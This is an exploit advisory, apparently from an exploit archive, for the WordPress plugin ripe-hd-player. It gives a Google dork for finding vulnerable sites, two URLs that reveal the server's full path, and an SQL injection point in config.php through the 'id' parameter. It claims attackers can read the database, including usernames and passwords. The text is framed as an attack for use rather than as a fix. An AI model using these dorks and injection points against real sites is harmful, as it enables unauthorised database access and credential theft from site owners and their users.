30 lines
No EOL
975 B
Text
30 lines
No EOL
975 B
Text
-------------------------------------------------------------------
|
|
Wordpress plugins - ripe-hd-player FD/SQL Injection Vulnerability
|
|
-------------------------------------------------------------------
|
|
# Vendor: http://www.hitasoft.com/products.php
|
|
#####
|
|
# Author => Zikou-16
|
|
# E-mail => zikou16x@gmail.com
|
|
# Facebook => http://fb.me/Zikou.se
|
|
# Google Dork => inurl:"/wp-content/plugins/ripe-hd-player/"
|
|
# Tested on : Windows 7 , Backtrack 5r3
|
|
####
|
|
|
|
#=> Exploit Info :
|
|
------------------
|
|
# The attacker can access to the database & get username & password ....... & disclosure the Full Path
|
|
------------------
|
|
|
|
#=> Exploit :
|
|
------------------
|
|
1#=> Full Path Disclosure :
|
|
|
|
http://[target]/[path]/wp-content/plugins/ripe-hd-player/index.php
|
|
http://[target]/[path]/wp-content/plugins/ripe-hd-player/installer.php
|
|
|
|
-------
|
|
2#=> SQL Injection
|
|
|
|
http://[target]/[path]/wp-content/plugins/ripe-hd-player/config.php?id=2'[inj3ct h3re]
|
|
|
|
------------------------------ <= Th3 End ^_^' |